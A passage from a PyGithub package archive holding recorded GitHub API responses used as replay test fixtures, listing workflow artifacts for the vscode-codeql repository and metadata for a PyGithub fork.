2d3a9830af81414810cc51f6507073b7451f2"}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Artifact.testGetArtifactsFromWorkflowWithName.txt0000644000175100001660000005010714756101563027752 0ustar00runnerdockerhttps GET api.github.com None /repos/github/vscode-codeql/actions/artifacts?name=vscode-codeql-extension {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 13 May 2023 20:52:27 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"8d77cb9c698a7504cc17826c653cc5f0db7b86548da04d46c01d64a283a6f5fe"'), ('X-OAuth-Scopes', 'delete:packages, gist, read:discussion, read:org, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4821'), ('X-RateLimit-Reset', '1684012818'), ('X-RateLimit-Used', '179'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '7846:7E23:230BC2D:246BA19:645FF88A')] {"total_count":5420,"artifacts":[{"id":693565453,"node_id":"MDg6QXJ0aWZhY3Q2OTM1NjU0NTM=","name":"vscode-codeql-extension","size_in_bytes":4133115,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/693565453","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/693565453/zip","expired":false,"created_at":"2023-05-12T17:40:54Z","updated_at":"2023-05-12T17:40:55Z","expires_at":"2023-08-10T17:20:25Z","workflow_run":{"id":4961410592,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"alexet/add-quick-eval-count2","head_sha":"537bb29a51d4941b8f9c16c0c6e30800d2090801"}},{"id":693491420,"node_id":"MDg6QXJ0aWZhY3Q2OTM0OTE0MjA=","name":"vscode-codeql-extension","size_in_bytes":4133116,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/693491420","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/693491420/zip","expired":false,"created_at":"2023-05-12T16:50:52Z","updated_at":"2023-05-12T16:50:54Z","expires_at":"2023-08-10T16:40:10Z","workflow_run":{"id":4960331107,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"alexet/add-quick-eval-count2","head_sha":"537bb29a51d4941b8f9c16c0c6e30800d2090801"}},{"id":693472967,"node_id":"MDg6QXJ0aWZhY3Q2OTM0NzI5Njc=","name":"vscode-codeql-extension","size_in_bytes":4133116,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/693472967","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/693472967/zip","expired":false,"created_at":"2023-05-12T16:38:31Z","updated_at":"2023-05-12T16:40:17Z","expires_at":"2023-08-10T15:10:15Z","workflow_run":{"id":4960331107,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"alexet/add-quick-eval-count2","head_sha":"537bb29a51d4941b8f9c16c0c6e30800d2090801"}},{"id":693345194,"node_id":"MDg6QXJ0aWZhY3Q2OTMzNDUxOTQ=","name":"vscode-codeql-extension","size_in_bytes":4133116,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/693345194","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/693345194/zip","expired":false,"created_at":"2023-05-12T15:26:45Z","updated_at":"2023-05-12T15:26:46Z","expires_at":"2023-08-10T15:09:26Z","workflow_run":{"id":4960320686,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"alexet/add-quick-eval-count2","head_sha":"0c8331975eb6a5395505dec895e611fec96b16f5"}},{"id":693276757,"node_id":"MDg6QXJ0aWZhY3Q2OTMyNzY3NTc=","name":"vscode-codeql-extension","size_in_bytes":4133115,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/693276757","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/693276757/zip","expired":false,"created_at":"2023-05-12T14:50:51Z","updated_at":"2023-05-12T14:50:52Z","expires_at":"2023-08-10T14:35:20Z","workflow_run":{"id":4960019010,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"alexet/add-quick-eval-count2","head_sha":"396e1aa6ca0e66ee62551d1c8f7d284dfc46d61c"}},{"id":692925877,"node_id":"MDg6QXJ0aWZhY3Q2OTI5MjU4Nzc=","name":"vscode-codeql-extension","size_in_bytes":4133344,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/692925877","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/692925877/zip","expired":false,"created_at":"2023-05-12T11:25:31Z","updated_at":"2023-05-12T11:25:33Z","expires_at":"2023-08-10T11:13:27Z","workflow_run":{"id":4957961799,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"shati-patel/mock-queries-treeview","head_sha":"341c5013d4ef814f6c1c0a8c02f065abc15a90a1"}},{"id":692882231,"node_id":"MDg6QXJ0aWZhY3Q2OTI4ODIyMzE=","name":"vscode-codeql-extension","size_in_bytes":4133345,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/692882231","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/692882231/zip","expired":false,"created_at":"2023-05-12T10:53:55Z","updated_at":"2023-05-12T10:53:56Z","expires_at":"2023-08-10T10:37:07Z","workflow_run":{"id":4957912506,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"shati-patel/mock-queries-treeview","head_sha":"341c5013d4ef814f6c1c0a8c02f065abc15a90a1"}},{"id":691247700,"node_id":"MDg6QXJ0aWZhY3Q2OTEyNDc3MDA=","name":"vscode-codeql-extension","size_in_bytes":4133119,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/691247700","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/691247700/zip","expired":false,"created_at":"2023-05-11T15:13:44Z","updated_at":"2023-05-11T15:13:48Z","expires_at":"2023-08-09T14:56:14Z","workflow_run":{"id":4949300030,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"alexet/add-quick-eval-count2","head_sha":"cf1e095ff5d1b00bbd3ed61e05a62ee80e0c391e"}},{"id":691213062,"node_id":"MDg6QXJ0aWZhY3Q2OTEyMTMwNjI=","name":"vscode-codeql-extension","size_in_bytes":4133197,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/691213062","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/691213062/zip","expired":false,"created_at":"2023-05-11T14:58:03Z","updated_at":"2023-05-11T14:58:04Z","expires_at":"2023-08-09T14:40:34Z","workflow_run":{"id":4948890121,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"koesie10/resolve-data-extensions-editor-queries","head_sha":"0f3b36cf87c63f52c0d64b54c7ad8209404f3436"}},{"id":691135248,"node_id":"MDg6QXJ0aWZhY3Q2OTExMzUyNDg=","name":"vscode-codeql-extension","size_in_bytes":4133195,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/691135248","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/691135248/zip","expired":false,"created_at":"2023-05-11T14:23:06Z","updated_at":"2023-05-11T14:23:09Z","expires_at":"2023-08-09T14:06:38Z","workflow_run":{"id":4948756824,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"koesie10/resolve-data-extensions-editor-queries","head_sha":"0f3b36cf87c63f52c0d64b54c7ad8209404f3436"}},{"id":690872410,"node_id":"MDg6QXJ0aWZhY3Q2OTA4NzI0MTA=","name":"vscode-codeql-extension","size_in_bytes":4133007,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/690872410","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/690872410/zip","expired":false,"created_at":"2023-05-11T11:58:05Z","updated_at":"2023-05-11T11:58:06Z","expires_at":"2023-08-09T11:41:17Z","workflow_run":{"id":4947455770,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"main","head_sha":"3e6372d6faa2fda8cb0146ba564aeb5511fe281c"}},{"id":690451416,"node_id":"MDg6QXJ0aWZhY3Q2OTA0NTE0MTY=","name":"vscode-codeql-extension","size_in_bytes":4132733,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/690451416","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/690451416/zip","expired":false,"created_at":"2023-05-11T07:59:58Z","updated_at":"2023-05-11T08:00:00Z","expires_at":"2023-08-09T07:44:16Z","workflow_run":{"id":4934314074,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"koesie10/query-language","head_sha":"87be402a57b6b99ff4b83eaf77e9b3422dfca49f"}},{"id":689536029,"node_id":"MDg6QXJ0aWZhY3Q2ODk1MzYwMjk=","name":"vscode-codeql-extension","size_in_bytes":4133010,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689536029","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689536029/zip","expired":false,"created_at":"2023-05-10T18:01:47Z","updated_at":"2023-05-10T18:01:49Z","expires_at":"2023-08-08T17:45:03Z","workflow_run":{"id":4939670608,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"alexet/better-qs-errors","head_sha":"e59938bfd781543330ed3fc55c567c08b7c08de2"}},{"id":689532491,"node_id":"MDg6QXJ0aWZhY3Q2ODk1MzI0OTE=","name":"vscode-codeql-extension","size_in_bytes":4133011,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689532491","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689532491/zip","expired":false,"created_at":"2023-05-10T17:58:53Z","updated_at":"2023-05-10T17:58:55Z","expires_at":"2023-08-08T17:47:48Z","workflow_run":{"id":4939672281,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"alexet/better-qs-errors","head_sha":"91f7178d895153f0143722cd351652cad0cd81ed"}},{"id":689489737,"node_id":"MDg6QXJ0aWZhY3Q2ODk0ODk3Mzc=","name":"vscode-codeql-extension","size_in_bytes":4132650,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689489737","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689489737/zip","expired":false,"created_at":"2023-05-10T17:21:02Z","updated_at":"2023-05-10T17:21:03Z","expires_at":"2023-08-08T17:00:10Z","workflow_run":{"id":4939473095,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"main","head_sha":"d0ca885e805ebf3d3b45435cc6a5522494e78e06"}},{"id":689464066,"node_id":"MDg6QXJ0aWZhY3Q2ODk0NjQwNjY=","name":"vscode-codeql-extension","size_in_bytes":4132651,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689464066","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689464066/zip","expired":false,"created_at":"2023-05-10T16:58:24Z","updated_at":"2023-05-10T16:58:26Z","expires_at":"2023-08-08T16:41:50Z","workflow_run":{"id":4939035918,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"shati-patel/discover-queries","head_sha":"fa77d005d13efa971e9dbe8d325eec1324b532cd"}},{"id":689460179,"node_id":"MDg6QXJ0aWZhY3Q2ODk0NjAxNzk=","name":"vscode-codeql-extension","size_in_bytes":4133015,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689460179","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689460179/zip","expired":false,"created_at":"2023-05-10T16:55:13Z","updated_at":"2023-05-10T16:55:15Z","expires_at":"2023-08-08T16:43:15Z","workflow_run":{"id":4938856285,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"alexet/better-qs-errors","head_sha":"56061285c8119f9aef2b3701c5f3ad1e0adb0708"}},{"id":689291895,"node_id":"MDg6QXJ0aWZhY3Q2ODkyOTE4OTU=","name":"vscode-codeql-extension","size_in_bytes":4132652,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689291895","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689291895/zip","expired":false,"created_at":"2023-05-10T14:50:45Z","updated_at":"2023-05-10T14:50:48Z","expires_at":"2023-08-08T14:32:39Z","workflow_run":{"id":4937833600,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"shati-patel/discover-queries","head_sha":"86011ac777acd8e4d0a06d0d2addf6703fadf9b9"}},{"id":689274419,"node_id":"MDg6QXJ0aWZhY3Q2ODkyNzQ0MTk=","name":"vscode-codeql-extension","size_in_bytes":4133006,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689274419","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689274419/zip","expired":false,"created_at":"2023-05-10T14:41:52Z","updated_at":"2023-05-10T14:42:15Z","expires_at":"2023-08-08T14:21:50Z","workflow_run":{"id":4938078114,"repository_id":211169016,"head_repository_id":638968134,"head_branch":"sink-additions","head_sha":"cdef55ffa2bd977b7d67125e3507a48278c657fb"}},{"id":689108951,"node_id":"MDg6QXJ0aWZhY3Q2ODkxMDg5NTE=","name":"vscode-codeql-extension","size_in_bytes":4132652,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689108951","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689108951/zip","expired":false,"created_at":"2023-05-10T12:41:45Z","updated_at":"2023-05-10T12:41:46Z","expires_at":"2023-08-08T12:25:32Z","workflow_run":{"id":4936944805,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"main","head_sha":"7fd984a7d0628baa105f5d7cc935805ca1e75af4"}},{"id":689027096,"node_id":"MDg6QXJ0aWZhY3Q2ODkwMjcwOTY=","name":"vscode-codeql-extension","size_in_bytes":4132654,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689027096","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689027096/zip","expired":false,"created_at":"2023-05-10T11:53:55Z","updated_at":"2023-05-10T11:53:56Z","expires_at":"2023-08-08T11:30:58Z","workflow_run":{"id":4936459419,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"shati-patel/queries-panel","head_sha":"8f632fd361138bbb00d06284dfec246700be796d"}},{"id":689021339,"node_id":"MDg6QXJ0aWZhY3Q2ODkwMjEzMzk=","name":"vscode-codeql-extension","size_in_bytes":4132654,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689021339","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689021339/zip","expired":false,"created_at":"2023-05-10T11:50:01Z","updated_at":"2023-05-10T11:50:02Z","expires_at":"2023-08-08T11:31:25Z","workflow_run":{"id":4936465172,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"shati-patel/queries-panel","head_sha":"8f632fd361138bbb00d06284dfec246700be796d"}},{"id":688792424,"node_id":"MDg6QXJ0aWZhY3Q2ODg3OTI0MjQ=","name":"vscode-codeql-extension","size_in_bytes":4132612,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/688792424","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/688792424/zip","expired":false,"created_at":"2023-05-10T09:26:50Z","updated_at":"2023-05-10T09:26:52Z","expires_at":"2023-08-08T09:10:50Z","workflow_run":{"id":4935197792,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"main","head_sha":"7dfa6f0f58e9f6a6153eea2e62e833e320e0077e"}},{"id":688792227,"node_id":"MDg6QXJ0aWZhY3Q2ODg3OTIyMjc=","name":"vscode-codeql-extension","size_in_bytes":4132608,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/688792227","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/688792227/zip","expired":false,"created_at":"2023-05-10T09:26:43Z","updated_at":"2023-05-10T09:26:45Z","expires_at":"2023-08-08T09:10:25Z","workflow_run":{"id":4935199574,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"main","head_sha":"00f4bc1fda591911d2a3c36c739b47af48f7d6d8"}},{"id":688761821,"node_id":"MDg6QXJ0aWZhY3Q2ODg3NjE4MjE=","name":"vscode-codeql-extension","size_in_bytes":4132570,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/688761821","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/688761821/zip","expired":false,"created_at":"2023-05-10T09:08:54Z","updated_at":"2023-05-10T09:08:55Z","expires_at":"2023-08-08T08:52:35Z","workflow_run":{"id":4934320145,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"koesie10/remove-deprecated-url-parse","head_sha":"8a75399cb7117667b72e0e23d4a8db57e3995087"}},{"id":688761683,"node_id":"MDg6QXJ0aWZhY3Q2ODg3NjE2ODM=","name":"vscode-codeql-extension","size_in_bytes":4132613,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/688761683","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/688761683/zip","expired":false,"created_at":"2023-05-10T09:08:50Z","updated_at":"2023-05-10T09:08:51Z","expires_at":"2023-08-08T08:53:29Z","workflow_run":{"id":4934319807,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"koesie10/replace-deprecated-storage-path","head_sha":"6e5188fbbe73ae147af9c2516e46182b82320952"}},{"id":686883575,"node_id":"MDg6QXJ0aWZhY3Q2ODY4ODM1NzU=","name":"vscode-codeql-extension","size_in_bytes":4132566,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/686883575","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/686883575/zip","expired":false,"created_at":"2023-05-09T11:16:30Z","updated_at":"2023-05-09T11:16:31Z","expires_at":"2023-08-07T11:00:15Z","workflow_run":{"id":4925377777,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"main","head_sha":"3ad006de92efa5ae381cf92188782da998c42aaf"}},{"id":686855718,"node_id":"MDg6QXJ0aWZhY3Q2ODY4NTU3MTg=","name":"vscode-codeql-extension","size_in_bytes":4132568,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/686855718","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/686855718/zip","expired":false,"created_at":"2023-05-09T10:58:52Z","updated_at":"2023-05-09T10:58:53Z","expires_at":"2023-08-07T10:45:58Z","workflow_run":{"id":4925053025,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"github-action/bump-cli","head_sha":"e722bf3e0b5f8979f6329b2ef2a87550ebd1e19d"}},{"id":686779149,"node_id":"MDg6QXJ0aWZhY3Q2ODY3NzkxNDk=","name":"vscode-codeql-extension","size_in_bytes":4132492,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/686779149","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/686779149/zip","expired":false,"created_at":"2023-05-09T10:11:04Z","updated_at":"2023-05-09T10:11:05Z","expires_at":"2023-08-07T09:55:42Z","workflow_run":{"id":4898264058,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"github-action/bump-cli","head_sha":"5084b3215277274591cea8e6bff19ba3400c161e"}},{"id":686647006,"node_id":"MDg6QXJ0aWZhY3Q2ODY2NDcwMDY=","name":"vscode-codeql-extension","size_in_bytes":4132607,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/686647006","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/686647006/zip","expired":false,"created_at":"2023-05-09T08:51:05Z","updated_at":"2023-05-09T08:51:08Z","expires_at":"2023-08-07T08:34:26Z","workflow_run":{"id":4923858742,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"koesie10/replace-deprecated-storage-path","head_sha":"8569b43c70f92d72d646d2622cac82a7e4836e5b"}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Artifact.testGetNonexistentArtifact.txt0000644000175100001660000004442014756101563026013 0ustar00runnerdockerhttps GET api.github.com None /repos/lexa/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Jun 2023 09:00:24 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"35238b440248f33799a23fe34e69ac9874146d6cd35ef055800a234a19477662"'), ('Last-Modified', 'Tue, 27 Sep 2022 16:35:24 GMT'), ('X-OAuth-Scopes', 'delete:packages, gist, read:discussion, read:org, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4682'), ('X-RateLimit-Reset', '1685613199'), ('X-RateLimit-Used', '318'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F864:06B7:65ABBC:6AC296:64785E27')] {"id":542181388,"node_id":"R_kgDOIFEIDA","name":"PyGithub","full_name":"lexa/PyGithub","private":false,"owner":{"login":"lexa","id":80391,"node_id":"MDQ6VXNlcjgwMzkx","avatar_url":"https://avatars.githubusercontent.com/u/80391?v=4","gravatar_id":"","url":"https://api.github.com/users/lexa","html_url":"https://github.com/lexa","followers_url":"https://api.github.com/users/lexa/followers","following_url":"https://api.github.com/users/lexa/following{/other_user}","gists_url":"https://api.github.com/users/lexa/gists{/gist_id}","starred_url":"https://api.github.com/users/lexa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lexa/subscriptions","organizations_url":"https://api.github.com/users/lexa/orgs","repos_url":"https://api.github.com/users/lexa/repos","events_url":"https://api.github.com/users/lexa/events{/privacy}","received_events_url":"https://api.github.com/users/lexa/received_events","type":"User","site_admin":false},"html_url":"https://github.com/lexa/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/lexa/PyGithub","forks_url":"https://api.github.com/repos/lexa/PyGithub/forks","keys_url":"https://api.github.com/repos/lexa/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lexa/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lexa/PyGithub/teams","hooks_url":"https://api.github.com/repos/lexa/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/lexa/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/lexa/PyGithub/events","assignees_url":"https://api.github.com/repos/lexa/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/lexa/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/lexa/PyGithub/tags","blobs_url":"https://api.github.com/repos/lexa/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lexa/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lexa/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/lexa/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lexa/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/lexa/PyGithub/languages","stargazers_url":"https://api.github.com/repos/lexa/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/lexa/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/lexa/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/lexa/PyGithub/subscription","commits_url":"https://api.github.com/repos/lexa/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/lexa/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/lexa/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/lexa/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/lexa/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/lexa/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lexa/PyGithub/merges","archive_url":"https://api.github.com/repos/lexa/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lexa/PyGithub/downloads","issues_url":"https://api.github.com/repos/lexa/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/lexa/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/lexa/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/lexa/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lexa/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/lexa/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/lexa/PyGithub/deployments","created_at":"2022-09-27T16:22:55Z","updated_at":"2022-09-27T16:35:24Z","pushed_at":"2022-10-25T02:57:49Z","git_url":"git://github.com/lexa/PyGithub.git","ssh_url":"git@github.com:lexa/PyGithub.git","clone_url":"https://github.com/lexa/PyGithub.git","svn_url":"https://github.com/lexa/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11782,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":1,"watchers":0,"default_branch":"master","permissions":{"admin":false,"maintain":false,"push":false,"triage":false,"pull":true},"temp_clone_token":"","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGit